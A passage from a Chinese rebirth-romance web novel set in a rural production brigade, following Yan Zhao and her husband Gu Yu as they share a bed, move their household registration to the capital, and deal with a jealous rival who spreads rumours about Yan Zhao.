李玲在把自己的东西放在搭建的棚子这里，她第一眼就认出来了，那是新被子，不是什么旧货，更不是家里的被子。 而房里正安静着，言昭一抬头，就看见顾煜抱着一床被子进来。 那被子明显是新的，她一下子愣住了。 顾煜把被子放到床上，主动开口说这是找大队长买的。 言昭“哦”了一声，也没追问多少钱，她现在对钱这件事反倒没那么敏感了。 只是想到今晚没法好好洗漱，心里多少有点不舒服，脑子里不合时宜地闪过京市那个热气腾腾的大澡堂，忽然就有点想念。 她还没来得及多想，顾煜就开口了：“我们去洗漱。” 言昭一下抬头，是真的愣了：“去哪洗？” 顾煜没多解释，牵着她往外走。 两人出了门，直接往大队长家去。 院子里灯亮着，大队长家的儿媳妇已经在厨房烧了一灶台的水，热气顺着门缝往外冒。 这位儿媳妇是知青，没考上大学，还留在队里。 她对顾煜可没有什么偏见，反而因为他是附近几个大队唯一考上的大学生，而且还是京市大学生，对顾煜的态度很是和气。 “你们来得正好，水刚烧好。” 刚刚顾煜买被子的时候，又给了一块钱，说这两天洗个澡，大队长当然答应了。 也就几根柴火的事情。 顾煜让言昭先洗，她不好意思抱着换洗的衣服进了厨房。 外头偶尔传来几句说话声。 是这个大队长儿媳妇在问顾煜京大的事，问他学校大不大，课多不多。 顾煜站在院子里跟她说话，回应的不多。 顾煜花钱找大队长买被子、借地方洗漱的事，其实没刻意张扬，自然也没人专门往外说。 可他带着言昭在大队长家里进进出出，被人瞧见的次数多了，队里哪有藏得住的事，很快就有人凑过来问。 大队长媳妇也没瞒着，说顾煜给了钱，买了床新被子，也借着地方洗洗。 这话一出，院子里立刻响起一片“啧啧”声。 有人是惊讶，有人是酸，有人则纯粹觉得新鲜。 “哟，现在读大学的就是不一样。” “出手这么大方啊，还给钱。” 也有人半开玩笑地接话，说咋不来她家洗，她家前两天刚弹了新棉花，被子又厚又干净。 等言昭从里头出来的时候，院子里的人一下子就注意到了她。 她换了身在京市买的睡衣，料子不算薄，扣子一路扣到领口，袖口也收得严严实实，其实并不露什么。 可那花样是队里从没见过的，颜色干净，线条利落，一看就跟供销社里卖的那种不一样。 大队长的儿媳妇正端着盆出来，看见她，脚步都顿了一下，目光在那身衣服上来回扫了两圈，眼神里不自觉就多了点羡慕，忍不住问了一句：“这是京市时兴的衣服啊？” 言昭被问得有点不自在，抿了抿唇，低声说：“我也不知道，随便买的。” 她说完就站在门口等顾煜出来。 刚刚顾煜站在这，他不怎么说话，加上队里人也有点怵他，不太敢往前凑。 可现在是言昭站在这儿，气氛立刻就松动了。 原本打算回去睡觉的几个人又折了回来。 问题一个接一个，带着点好奇，也带着点打量。 言昭被围在中间，应得不急不慢，说话还是那样温温的，只说京市人多、路多，日子跟这边其实也差不多。 可她站在那里，身上的衣服、脸上的气色，已经替她说了太多话。 等到顾煜洗完两人回去。 李玲看到了言昭洗完澡又换了一套好看的衣服，眼睛都红了。 …… 屋里灯早就灭了，只剩下窗外一点模糊的夜色。 那床被子确实挺大，一半铺在下面，一半盖在身上。 只不过一个人用正好，两个人就显得局促了。 言昭被迫贴得很近，几乎整个人都被顾煜圈在怀里。 背后是他的胸膛，额头不小心抵在他下巴附近，连呼吸都能感觉到彼此的起伏。 耳边传来规律又沉重的心跳声，一下，又一下，贴得太近了，近到她分不清那是自己的，还是顾煜的。 那声音敲得她心口发紧，身体也跟着僵住。 她有点不自在，下意识想换个姿势，往外挪一点。 肩膀刚动，腿又被被子绊住，挪不开。 过了一会儿，她又试着小幅度地动了动，结果整个人反而更贴近了几分，呼吸都乱了一瞬。 她不敢再乱动，可身体偏偏不听话，刚刚洗完澡的热度还没散，贴在一起更是明显。 她第三次想悄悄挪开的时候，身后的人终于有了反应。 顾煜的手轻轻落在她后背，力道很轻，只是安抚似地拍了拍，声音压得很低，几乎贴着她耳边：“睡吧。” 那声音低沉，又近得过分。 言昭心口猛地一跳，像是被点了名一样，连忙“嗯”了一声，声音小得几乎听不见。 她不敢再动，干脆闭上眼睛，连呼吸都放轻了，生怕再碰到哪里不该碰的地方。 屋子里慢慢安静下来，只剩下交错的呼吸声，还有那一下下仍旧清晰的心跳，在夜里显得格外明显。 言昭其实已经习惯和顾煜睡在一张床上了。 可像这样贴得这么近，近到连呼吸都混在一起，还是第一次。 她原以为自己今晚肯定要翻来覆去睡不着，脑子里乱七八糟的念头停不下来。 可没想到，身体的疲惫比她想象中更重。 火车、折腾、争吵，还有情绪一口气绷到现在，一松下来，人就像被抽走了力气。 没一会儿，她的呼吸就慢慢变得均匀。 肩颈放松下来，额头轻轻抵着他，下意识地往热源那边靠了靠。 是真的睡着了。 黑暗里，顾煜能清楚地感觉到她呼吸的变化，从最开始刻意压低的小心，到后来完全放松的平稳。 她整个人软下来，贴在他怀里。 他低头看了她一会儿，然后抬手，把她翻了个方向，让她更贴近自己。 不是惊醒她的那种动作，而是顺着她的重心，把她一点点带过来。 她的手被他引着搭在自己身侧，腿也自然地贴了过来，整个人被他收进怀里。 四肢相贴，连中间那点空隙都被彻底抹掉，贴合得严丝合缝。 言昭在睡梦中皱了下眉，似乎想动，但很快又安静下来。 顾煜的手落在她背后，稳稳地圈着。 …… 言昭原以为自己这一觉会睡得不踏实。 可睁开眼的那一瞬间，她只觉得浑身都舒服。 她下意识动了一下，才猛地发现不对劲—— 自己竟然整个人都贴在顾煜身上，手臂环着他的腰，脸颊贴着他胸口，呼吸间全是他的气息，甚至还无意识地蹭了两下。 这一瞬间她脑袋“嗡”地一下，条件反射般猛地挣开，几乎是弹坐起来。 被子滑落，冷空气灌进来，她才后知后觉地意识到自己刚才的姿势有多不好。 言昭脸颊发烫，连看都不敢看顾煜一眼，只能低头拽着被角坐直，心跳乱得不像话。 也就在这时，外头忽然传来骂骂咧咧的声音。 隔着院子，却听得格外清楚。 是顾城。 那声音里带着压不住的火气，夹杂着粗声粗气的抱怨，还有对李玲的呵斥，话里话外全是不耐烦和迁怒，早晨本就不清净的院子一下子被搅得乌烟瘴气。 言昭听到这些熟悉的话，上辈子这些话全是对着她骂的，现在终于轮到李玲了。 她攥着被子的手用力了一些。 突然自己的手被什么触碰。 言昭低下头，就发现顾煜已经醒了。 他显然刚醒不久，眼神还带着一点未散的倦意，睫毛低垂，眸色比平时更暗一些，眼角也是压不住一闪而过的水色。 发丝微乱，额前有几缕不太服帖地落下来，让他整个人少了几分清醒时的冷硬，多了点难得的松弛。 他没有立刻起身，只是侧躺着看她。 言昭的视线不受控制地往下滑。 落在他微微敞开的领口处。 衬衫扣子没系到最上面，露出一小片白皙的皮肤上，在这昏暗的光线里显得格外干净。 随着他呼吸起伏，那截锁骨线条若隐若现，让人移不开眼。 她脑子像是突然失了闸。 一瞬间，之前看过的画面毫无预兆地浮了上来。 没穿衣服的顾煜…… 意识到自己在想什么的那一刻，言昭几乎是慌乱地移开视线。 顾煜像是没察觉到她那点细微的变化。 他慢慢坐起身，抬手按了按后颈，声音低低的，像是还没完全从睡意里出来：“是不是睡得不好？” 言昭被他这么一问，反而更不好意思了。 她其实睡得很好，可这种话她怎么说得出口。 她只好点了点头，顺着他的话轻声道：“嗯……等会我们去问问大队长转户口的事吧？” 顾煜淡淡回了一句：“不急。” 这个时候门被敲响了。 还没等屋里有人应声，门已经被人从外头推开。 顾城大大咧咧地走了进来，视线一扫，正好看见两人紧贴着睡在床上的这一幕，脚步明显顿了一下。 那画面刺得顾城眼睛一疼，心里一瞬间翻起不舒服的感觉，可他还是硬生生忍住了，嘴角勉强扯出点笑意：“一起吃早饭啊，李玲已经弄好了。” 言昭这会儿根本顾不上被人看到自己睡在炕上，心里一紧，几乎是立刻就开了口：“不用了，我们自己吃。” 她想到顾城现在还染着病呢，可不能被这两人传染。 而且言昭在想，这病怎么还没闹出来？ 顾煜这时才抬起眼。 他语气不高，声音也不重，却冷得很。 “我让你进来了吗？” 顾城脸颊微微一僵，脸上的笑意一下子挂不住了。 他没有立刻回顾煜的话，而是转而看向言昭，用的是她再熟悉不过的那种眼神，带着一点说不清的意味。 那眼神放在以前，言昭会下意识绷紧神经，心里发紧，生怕自己哪里做得不对。 可现在再被这样看着，她心里一点波动都没有，只觉得胃里翻涌了一下，本能地生出一股恶心，连多看一眼都嫌多余。 第30章 李玲嫉妒的吐血 言昭是真怕自己下一秒会吐出来。 那种翻涌来得很快，她几乎是本能地侧过头，避开顾城的视线，连呼吸都刻意放轻了些，才压住那股恶心。 她没有再看他，语气冷淡得很：“你能出去一下吗？我们要换衣服。” 这句话落下，顾城脸上的神情明显僵住了。 那点被压着的不悦慢慢浮上来，牙关不自觉地咬紧，可他心里却并没有真正慌乱。 相反，那股一贯的自信又冒了出来。 顾城是真的不信言昭真的对他没感觉，在他看来，她不过是因为他娶了李玲心里不甘，又去了京市，见了些花花绿绿的东西，眼界被晃了，心思也跟着乱了。 顾城甚至笃定地想着—— 女人就是这样，不能见什么世面，见多了，心就容易花。 顾城也没紧逼言昭，况且顾煜还在，只不过他临走前脚步一顿，又回头看了她一眼，嘴角勾着那点让人不舒服的笑意，冲着言昭眨了下眼。 这眼神太熟悉了。 言昭当然知道那是什么意思。 胃里猛地一阵翻涌，恶心的她喉咙发紧，胸口都跟着难受了一下。 她硬是咬住牙关，把那股反胃生生压了下去。 啊，好像把他弄死啊。 但是又不想让他死的太快。 等顾城终于转身出了门，脚步声消失在院子里，言昭才松了口气，立刻转身去换衣服。 她刚把衣襟整理好，抬眼就发现门口那道影子还没走远，顾城站在外头，正隔着门缝往里看，目光黏得让人不适。 言昭直接抬脚踹了一脚门。 她没有注意到身后的顾煜。 他站在原地，一句话没说，双手却已经不自觉地捏紧成拳，指节泛白，眼尾压着一层冷意，把什么情绪死死按在了眼底。 洗漱的时候也是真正的不方便。 屋里根本没有能用的地方，只能去厨房。 可厨房里的水缸一掀开，水色就发浑，底下沉着一层杂质，怎么看都下不去手。 言昭站了一会儿，眉心轻轻蹙了下，什么也没说，转身就往外走。 她拉着顾煜直接去了井边。 井水清凉，打上来时还带着冷气，水色却是干干净净的。 言昭自己动手，把桶放下去提水，全程都没让顾煜去碰厨房里的任何东西。 刷牙、洗脸，都在井边解决。 其实她心里嫌弃的。 不只是水缸，还有屋里的一切，可现在这种情况，连个落脚的地方都没有，再挑也没用。 洗漱完出来，两人也没再折腾，随便在队里找人买了几张烙饼垫肚子。 饼刚拿到手，还没吃两口，就被人盯上了。 顾城那两个儿子不知道从哪儿窜出来，眼睛直勾勾地盯着言昭手里的饼。 昨天挨的那一巴掌像是完全没记住，两人急匆匆的冲过来就伸手要抢，嘴里嚷嚷着：“快给我吃！我要吃！” 言昭手腕刚动，巴掌还没来得及落下，旁边的人已经先一步动了。 顾煜抬脚就踹。 没有多余动作，一人一脚，直接把两个小废物踹翻在地，滚出去老远，下一秒就躺在地上嚎哭起来。 周围一下子乱了声。 言昭一句话都没多说，反手牵住顾煜，拉着人立刻就走，连头都没回。 两人径直去了大队长家。 进屋后也没绕弯子，顾煜直接把来意说明，说是要挪户口的事。 只提学校那边可以落户，并没提买房子的事。 大队长一听，手里的东西都放下了，整个人愣住，声音都拔高了些：“挪户口？” 他看了两人一眼，“现在正要分地呢，你们这个时候挪户口？那地可就不要了啊？” 分地这件事，其实早该分了。 只是一直没人真敢动。 队里不少人心里都有顾虑，怕的是国家哪天又变了政策，地真分到个人手里，回头又要收回去，那前头折腾的力气全算白费，谁也不想当那个先伸头的人。 所以这些年一直拖着，名义上还是生产队，地也一直没真正动过。 可最近情况不一样了。 附近已经有队开始分田了，而且不再叫生产队，而是直接改回村。 消息一传开，底下的人心思就跟着活络起来。 这位大队长心里也不是没想法，只是一直在观望。 前阵子他刚去镇里开过会。 会上话说得不明不白，但意思说的很清楚，上头也已经开始施压了，要求各地尽快理顺土地问题，不能再这么拖着不动。 政策虽然没明着写死，可风向已经摆在那儿了。 大队长这才开始思量着怎么分。 言昭听到分地这两个字，心里还是不由自主地动了一下。 她下意识想到了以后，要是真能分到地，哪怕不多，也是一条退路。 这个念头刚冒出来，还没来得及细想，身旁的顾煜已经先开了口。 “我们以后也不怎么回来。”他说得很平静，“分了也没什么用，而且我毕业之后，户口地落在京市。” 这话一出，大队长明显愣了一下。 “京市户口？” 他眼里的震惊藏都藏不住，语气里多了几分实打实的羡慕。 那点刚冒出来的分地竟然挪户口的惊讶，立刻就被压了下去，在他看来，这已经不是一块地能比的了。 这还要啥地啊。 大队长叹了一声，又忍不住追问，“你们学校是怎么给落户的？” 顾煜简单说了几句，没展开。 大队长听得认真，点了点头，想了想才道：“正好我下午要去镇里开会，我给你问问这事，打听清楚了心里也有数，要不你跟我一起去一趟？” 顾煜想了想点头。 大队长露出笑。 他为什么要带顾煜去，也是这事他确实没办过，学校落户到底是个什么流程，镇里怎么说、卡不卡人，他心里一点底都没有。 带着顾煜一起去，当面问清楚最稳妥，这是其一。 其二，顾煜是他们队里唯一的大学生，还是京大的学生，这名头本身就不一样。 往镇里一带，谁见了不得多看两眼，说话也硬气些。 至于第三点，大队长自己心里也明白，说出来不好听，可确实有那么点意思。 自己队里的人，要落户京市。 这话往外一放，不管在哪儿，都够他挺直腰板的。 想到这儿，大队长脸上的神色不自觉就松快了些，看顾煜的眼神也多了几分热络。 …… 去镇上的事很快就定了下来。 言昭却没跟着去。 顾煜原本是想带她一起的，可牛车位置本来就不多，再加上大队长那边还要带人，挤一挤都勉强。 更重要的是，言昭自己也没这个打算。 她还有点事要做。 隔壁队那个寡妇的情况，她一直记着，昨天的事闹成那样，她心里总觉得不对劲，想亲自过去看看，到底是怎么回事。 顾煜见她很乐意自己一个人留下，他顿了一下。 他看着她，眉头慢慢蹙了起来，神情比刚才在屋里还要紧绷几分，像是有话想说，又硬生生压了下去。 言昭没察觉出他的异样。 她只当他是在担心镇上的事，还反过来催他，说早去早回，别耽误了正事。 牛车很快套好。 言昭一路把顾煜送到村口，亲眼看着他上了牛车，还替他把位置让稳了，这才停下脚步。 顾煜坐在车上，又回头看了她一眼。 言昭站在原地，朝他摆了摆手，神色如常。 她并不知道，在她转身的那一刻，顾煜的目光还落在她背影上，迟迟没有移开。 等言昭刚从村口回来，还没走进院子，就看见顾城站在那里，明显是特意在等她。 一见到她，他眼睛立刻亮了，几步就凑了过来，语气压得黏糊又刻意：“小昭，我好想你啊。” 他说着就伸手要抱。 人还没靠近，言昭鼻端先被一股腥臭味冲了一下，混着汗味，恶心得她胃里一阵翻腾。 她丝毫犹豫都没有，顺手抄起旁边立着的竹竿，抬手就打了过去。 竹竿落下的声音又脆又狠。 顾城被打得嚎了一声，却也没真退远，反而捂着被打的地方，哭丧着脸站在那儿，一副受了天大委屈的模样。 “小昭，你怎么能对我这么狠心啊。”他说话的声音都压低了几分，带着点刻意的可怜，“我都被你打痛了。” 言昭看着他这副样子，只觉得一阵反胃。 她没接他的哭诉，也没再举起竹竿，只是站在原地，像是忽然想起了什么，语气平平地开口：“我最近听到一个消息。” 这话一出，顾城眼睛明显亮了一下。 她没骂他，也没再赶他走，反而跟他说话。 顾城立刻顺杆往上爬，神情一下子急切起来，连声抢着说：“不管什么消息都不是真的！真的，小昭，你别信外头那些胡说八道的。” 他往前凑了半步，又在竹竿的威胁下停住，声音压得更低，更急。 “我一直喜欢的都是你。” “我也知道，你去顾煜身边，肯定也是为了我。” 他说得一脸笃定，一副想通了所有因果。 “等你走了之后，我才知道你对我有多重要。” “你……” 言昭打断了他，继续说：“隔壁队那个寡妇，听说得病了。” 顾城脸上的表情明显一滞。 “寡妇”两个字一出来，他眼神下意识地闪了一下，神色有那么一瞬间的不自然，但很快又被他压了回去，挤出一副不以为然的样子：“别人得病关我们什么事，我现在只想跟你好好说话。” 言昭看着他，眼神一点点冷下来。 “是个脏病呢，听说已经传染了好几个男人。” 这句话落下的瞬间，顾城几乎是条件反射地脱口而出—— “什么？” 声音猛地拔高，带着明显的失控。 话一出口，他自己就察觉到不对，脸色僵了一下，随即又急着把情绪往回压。他干笑了一声，语气明显乱了，连句子都没说完整：“你听谁瞎说的，这种事怎么可能……” 可话是这么说，他的眼神却藏不住紧张和隐约的慌乱，身体也绷得很紧，整个人的状态和刚才那副装出来的深情模样，已经完全对不上了。 言昭装着无意，随口似地往下接了一句：“我也是听人说的，说那病一开始不显眼，就是身上发痒，火气重，夜里睡不好。” “再往后，就开始长疮，反反复复，怎么都好不了。” 这些话说得不重，却一字一句都落得很清楚。 顾城的脸色在她说完的那一瞬间彻底变了。 血色像是被人一下子抽干，从脸颊到唇边都白了下去，喉结明显滚了一下，呼吸都乱了。 他站在那儿，身体绷得发僵，连掩饰的笑都挤不出来。 言昭知道的这么清楚，也是她上辈子听旁人说。 本来只是想拿来炸一炸他，看看反应，没想到还真被她炸出了东西。 她目光在顾城脸上停了一瞬，像是忽然看见了什么，语气随意得不能再随意，抬手指了指他的脸：“你这脸上……” 话还没说完，顾城已经条件反射地低下头，又急又慌地侧过脸去，声音发紧：“我最近就是上火了。” 他说这话的时候，手已经下意识捂住了脸，动作快得有些狼狈。 话音刚落，人就转身往外跑，脚步乱得不成样子，几乎是逃一样地离开了。 院子里很快安静下来。 言昭站在原地，看着他消失的方向，唇角缓缓勾起一抹冷意。 那点恶心和不适，在这一刻反倒被压了下去。 言昭没有再耽搁，转身就去了隔壁队。 路走到一半，她心里已经隐隐有了预感，可真站在那寡妇家门口时，还是顿了一下。 院墙塌了一角，门歪着，屋顶的瓦零零落落，窗纸破得不成样子，风一吹就哗啦响，怎么看都不像是还有人住的地方，更像是早就荒废了的旧屋。 她没贸然进去，只是在村口随便找了个人，拐弯抹角地问了几句。 对方一开始还含糊其辞，语气闪躲，后来见她拿出一块钱，随便编造了一个男人偷人的理由，对方才压低声音说了实话。 那寡妇最近得病了。 而且不是小病。 说是浑身都在烂，严重得很，连屋子都不怎么敢出，人一提起就皱眉，话里话外都是避讳。 言昭原本以为顾煜要到晚上才会回来。 结果下午院子里刚有动静，她一抬头，就看见了他。 顾煜从外头走进来，脸色明显不太好，眉眼间还压着点没散干净的冷意。 可在视线落到言昭身上的那一瞬间，那点冷硬几乎是立刻就散了，神色明显缓和下来。 他脚步不自觉地加快，几步就走到她面前，什么话都没说，伸手就把人抱进了怀里。 力道有点紧。 言昭被他抱得一愣，脸颊很快就热了起来。 好在这段时间已经慢慢习惯了他的触碰，也没再推开，只是抬手轻轻抵在他胸前，小声问了一句：“户口怎么样了？” 顾煜低声回她：“解决了。” 言昭听见这三个字，整个人明显松了下来，肩膀也跟着放松，心里那根一直绷着的弦，总算是落了下去。 她这才注意到，他手里还提着一个包袱。 这个包袱言昭不认识，她下意识多看了一眼，有点好奇，伸手指了指：“这是什么？” 顾煜顺着她的视线看了一眼，解释道：“给你买的衣服。” 他说这话的时候很平静，又像是早就想好了，“款式可能不是很好看，不过我们要在这边住几天，总不能一直穿这件。” 言昭眉眼间露出一点疑惑。 来之前，顾煜明明说过，最多两天就回去。 顾煜再一次解释：“原本是这么打算的，不过我想把户口的事尽量快点办完，就答应帮镇长处理一件事，得多留一天。” 言昭听完，只是点了点头，也没追问他到底答应帮镇长什么。 反正事情已经定了。 既然现在不走，她看了眼外头的天气，日头正好，想着干脆把昨天换下来的衣服一并洗了，省得一直放着。 她刚把衣服拿出来，顾煜却伸手拦住了她。 “别洗了。” 言昭还没反应过来，他已经把她手里的衣服接过去，转身走到院子外头，递到队里一个正坐着聊天的婶子面前，又顺手掏出五毛钱放过去。 “麻烦您帮忙洗一下。” 那婶子一愣，低头看了看衣服，又看了看钱，脸上立刻笑开了，连声应着，乐呵呵地把衣服接了过去，嘴里还念叨着几句客气话。 言昭站在原地，看着这一幕，一时间有点没反应过来。 顾煜已经回到她身边，神色自然，像是刚才那点钱和事都不值一提。 她张了张嘴，最后什么也没说，只是默默把手收了回去。 这一幕，就被站在不远处的李玲看见。 李玲刚被家里赶出来，脸色发白，脚步还有些发虚。 她本来是低着头走的，可一抬眼，就看见顾煜把衣服递给队里的婶子，又掏了五毛钱出来，那婶子笑得合不拢嘴，接过衣服就往回走。 那画面落进她眼里，刺得她眼皮抽搐。 此刻李玲在心里一遍一遍地问。 凭什么？ 凭什么言昭命这么好？ 明明是地主家出生的，成分那么差，被捡回来按理说该低人一等，一辈子抬不起头来，可偏偏还能被顾家留下，当童养媳养着。 后来顾家人都没了，她不但没被撵走，反倒还一直待在这。 自己好不容易把顾城抢过来，以为自己才是赢家。 结果呢？ 她被娘家嫌弃，被队里嫌弃。 而且言昭走了，又回来了。 不但没落魄，反而穿得比队里任何一个女人都体面，站在那里就和这地方格格不入。 更让她受不了的是，顾煜这个队里人人都说的“扫把星”，这个从小被人避着、嫌着的东西，竟然考上了大学。 京市的大学啊。 李玲越想，胸口就越堵。 她对言昭的恨意一直都是在慢慢发酵，像烂在心里的脓，一阵一阵地疼。 明明该是她过这种日子才对。 李玲都不知道自己什么时候走回来家的。 不，对她来说，这个地方已经不能叫回家了。 顾城那间房子早就烧没了，又被顾家赶了出来，最后只能灰头土脸地缩进临时搭起来的草棚里。 草棚低矮又漏风，里面铺着几把稻草，空气里一股潮湿的霉味。 她坐下来的时候，腿一软，差点直接跪在地上，手里的布包掉在脚边，半天都没捡起来。 刚才那一幕在李玲脑子里反反复复地转。 顾城不耐烦地推了她一把，语气又急又冲：“老子跟你说话呢，你耳聋了啊？” 李玲被推得一个踉跄，猛地回过神来，抬头看到的就是顾城那张脸。 满脸的痘，又红又肿，一颗挨着一颗，皮肤油亮发紧，看着就让人心里发堵。 她自己其实也好不到哪去，这阵子没油没盐，天天红薯配野菜，脸上也起了一片疙瘩，又痒又疼。 她深吸一口气：“你说什么？” 顾城语气更不耐烦了：“快去弄吃的，老子饿死了。” 李玲下意识看了一眼棚子角落，只剩那点红薯，还有前几天她拔回来的野菜叶子，已经蔫得不成样子。 她咬着牙开口：“家里没吃的了。” 顾城脸色立刻沉下来：“没吃的你不会去你家要啊？你想让我跟儿子饿死？” 这句话像一把钝刀直接捅进李玲心口，她憋了一路的火终于炸了：“要什么要？我家现在都不让我进门！我怎么要？” 话一出口，声音都变了调，又急又尖。 顾城愣了一下，随即露出更明显的不耐烦：“那是你的事，你嫁到顾家来，不就该想办法吗？” 李玲看着他这副理所当然的样子，忽然觉得荒唐。 当初哄她的时候说得多好听，现在一没钱一没吃的，所有脏活累活，全成了她该受的。 她站在原地，胸口起伏得厉害，恨意一层层往上翻，可又找不到出口。 顾城那两个儿子听见吃饭，他们立马就围了上来，一个比一个嗓门大，在草棚外头又吵又闹。 “我要吃烙饼！” “我也要吃！” 他们上手去拽李玲的胳膊，语气横得不像小孩，反倒带着几分学来的狠劲：“不做我让我爸揍死你！” 第31章 有结婚证我们可以睡一间房 转户口这件事没过多久，就在队里传开了。 先是不知道谁从大队长那儿听了个话头，说顾煜要把户口挪走，再一打听，原来要挪去京市。 户口能挪到城里，吃商品粮，也算是真正有身份的人，几乎就等于翻了身。 这可是京市，首都啊。 报纸上、广播里天天提的地方。 离他们这些泥地，草棚远得不能再远。 谁也没想到，队里居然真能出一个“京市人”。 议论声很快就多了起来，有惊讶的，有羡慕的，也有藏都藏不住的酸意。 有人私下里感慨，说顾煜是真的厉害，读书读到这一步，连京市的户口都能办下来，这辈子算是彻底翻身了。 也有人话锋一转，目光不动声色地落到言昭身上，语气就变得复杂起来，说她命好，攀上了顾煜，这一步走得太稳。 这些话本来还只是零碎的议论，可没过多久，风向就慢慢变了。 不知道是从谁嘴里先传出来的，说言昭以前是被打倒过的“地主”，是剥削人的那一类。 如今落到这儿，是在装可怜、博同情，还要转户口去京市。 话传得模模糊糊，却偏偏最容易勾人往坏处想。 流言一旦有了开头，就自己长了腿。 言昭听见这个流言的时候，脸色一下子难看起来。 顾煜第一时间就察觉到了。 他看了她一眼，没有顺着流言去追问，也没有急着安慰，只是语气很平静地问了一句：“你觉得，这件事是谁说的？” 言昭怔了一下。 答案几乎是瞬间浮上来的。 她的身世，她从来没跟外人提过，队里更不可能有人知道。 唯一一次，是她把那些话说给了李玲听。 那时候她是真的把李玲当成闺蜜，当成好姐妹。 现在想起来，只觉得讽刺。 言昭不知道顾煜为什么知道，她还是如实说：“是李玲。” 顾煜点了点头，没有追问其他的。 他看她脸色依旧不好，伸手在她脸侧捏了一下，动作带着很实在的安抚。 “这不是什么事。”他说得很淡，“你现在是我媳妇，我们有结婚证。” 这句话落下，给她心里那点晃动按了下来。 结婚证已经找到了。 那本红色的小本子被言昭收得很仔细，因为这一次她去了京市后，要证明两口子，就得靠这个。 言昭唇瓣微微抿紧了一下，犹豫了片刻，还是低声问：“你……什么时候知道我……我身份的？” 顾煜看了她一眼，语气很平静：“母亲说的，她说你以前可能过得很好。” 言昭是真的没想到，婶子竟然知道这些。 她很快就把情绪压了下去。 自从重生之后，她就已经做过这样的心理准备，刚刚那点失神，不过是最隐秘的东西突然被摊开时的条件反射罢了。 只要顾煜不在意，只要他站在她这边，其余人的看法，对她来说都没那么重要。 她抬起头的时候，神色已经恢复如常，眉眼重新变得安静而清醒。 顾煜看在眼里，没再多说什么，只是语气自然地提了一句：“我今天还要去一趟镇子，你要不要跟我一起去？” 言昭想了想，现在队里，怕是到处都在议论她，说什么的都有。 与其留在这儿听风言风语，不如出去走一趟。她没有多犹豫，点了点头：“好。” 顾煜没再说什么，伸手牵住她，带着她往外走。 两人刚出门，就在院口撞上了刚回来的李玲。 李玲脸上的神情明显不一样了，脚步轻快，像是心情不错，整个人都透着一股松快。 尤其是在看见言昭的那一瞬间，她眼里的情绪立刻变了，唇角慢慢扬起，露出一个掩都不掩的笑意。 那笑里带着明显的得逞。 言昭其实是想甩她一巴掌的。 就像第一天那样。 可这个念头只在脑子里闪了一下，就被她压了下去。 她现在是真的开始嫌脏，也开始怕传染，连多看一眼都觉得多余，索性直接无视，脚步都没停一下。 而言昭这个行为落在李玲眼里，是在心虚。 李玲唇角的笑意越发明显，带着一种终于出了一口恶气的畅快。 她就等着看，看这个言昭是不是真的还能翻身，能不能真的成为京市人。 现在大队长那边，可是很困扰呢。 可就在擦身而过的那一瞬间，顾煜忽然偏了下头。 他的视线落在李玲身上，没有停留太久，却冷得过分。 那是一种几乎不带情绪的目光，压得人心口发紧。 李玲被那一眼扫到，后背猛地一凉，浑身不受控制地颤了一下。 等她反应过来时，那两个人已经走远了。 李玲站在原地，胸口那口气越憋越狠。 她盯着两人的背影，越看越觉得不甘，嘴角的笑慢慢扭曲，终于忍不住低声骂了出来。 “装什么装，命煞孤星的东西，克死这个克死那个，还真把自己当回事了。” 骂完顾煜，她心里的火也没消，语气一下子变得更难听。 “还有那个贱人，装可怜装得像真的一样，骨子里不就是个下贱货色，勾着男人往上爬。” 她一边骂，一边喘着气，像是把这几天积攒的怨气全吐了出来。 …… 到了镇上，言昭才发现阵仗比她想的要大。 院子里站了不少人，三三两两聚着，说话声压得不低。 站在最前面的那个人还是镇长。 这可是镇子里最大的官。 言昭脚步不自觉地慢了半拍，指尖微微收紧，心里难免有点发紧。 顾煜神色没有任何变化，目光在院子里扫了一圈，眉头微微蹙起，显然对这么多人围着并不适应，甚至带着点本能的排斥。 他没有寒暄，也没有顺着气氛说话，只是开口，语气很平稳：“镇长，我说过会去你的办公室找你。” 言昭在他话音落下的那一瞬间，心脏猛地收紧了一下。 她下意识抬眼看向镇长，脑子里几乎是本能地闪过一个念头—— 顾煜这话，会不会太直了，会不会惹人不高兴。 毕竟站在最前面的，是镇长。 可预想中的不悦并没有出现。 镇长脸上的神色没有半点变化，反而笑了一下，那笑意还挺温和，像是早就习惯了他这样的说话方式，语气也跟着放缓：“也不是特地等你的，只是我们刚到。” 周围站着的几个人也没有什么异样反应。 言昭这才慢慢松了口气。 她一路走着，心里其实一直在想一件事。 镇长这样的人，到底有什么事，是非得顾煜来帮的？ 顾煜再厉害，也只是个大学生，在她的认知里，镇长已经是能拍板很多事情的人了，怎么会还有解决不了的问题。 直到他们被带进了一间很大的房间。 门一关上，外头的声音一下子隔绝开来。 屋里很安静，采光不错，正中间的桌子上，却堆着一大叠资料，摞得整整齐齐，看着就让人头皮发紧。 顾煜牵着她走过去，让她先坐下。 他这才开口解释。 不是别的事，是他很懂法律，帮镇长打官司。 言昭一开始甚至没反应过来，微微愣了一下。 这个词对她来说太陌生了，她只模糊地知道是“告状”“对簿公堂”一类的事，却从没真正接触过。 顾煜耐心地跟她说。 他说法律，其实就是规则，是写在纸上的规矩，用来约束人，也用来保护人。 镇里现在遇到的麻烦，就是有人不按规则来，而这件事，已经不是拍桌子、说几句话就能解决的了。 言昭听得很认真。 她才一点点明白过来，原来这世上还有这样一套东西，不靠身份，不靠嗓门，而是靠条文、靠证据、靠谁站在规则那一边。 顾煜很快就进入了状态。 他神情明显认真了几分，坐下来之后，手指翻动得很快，一页一页掠过去，几乎没有停顿。 那些密密麻麻的字在他眼里像是早就分好类的东西，只扫一眼，就能抓住重点。 言昭在一旁看得有点咋舌。 她是真的看不太懂那些资料，只觉得一页比一页多，一行比一行密，可在顾煜手里，根本不用费力。 他翻得太快了，快到让人怀疑，他是不是根本没认真看。 这就是聪明人吗？ 言昭没有去打扰他，只是安静地坐在旁边。 等顾煜看完一沓资料，顺手放到一旁，她就把那些纸重新理好，对齐，分类放整齐，动作很轻，尽量不发出声音。 屋子里只剩下翻纸的细微声响，还有偶尔笔尖在纸上划过的沙沙声。 时间一点点过去。 小半天的功夫后，顾煜终于停了下来，抬手捏了捏额角，才从那堆规则和条文里抽身出来。 他下意识侧过头，看向身边。 言昭不知道什么时候已经睡着了。 她趴在桌子上，脸侧枕着自己的手臂，呼吸很轻，眉眼完全放松下来。 阳光从窗边落下来，刚好停在她发梢和侧脸上。 顾煜看着她，手里的资料慢慢放下。 …… 不知不觉已经到了中午。 办公室外头，门口一直守着两个人。 能被安排在这儿的，自然也清楚事情的重要性—— 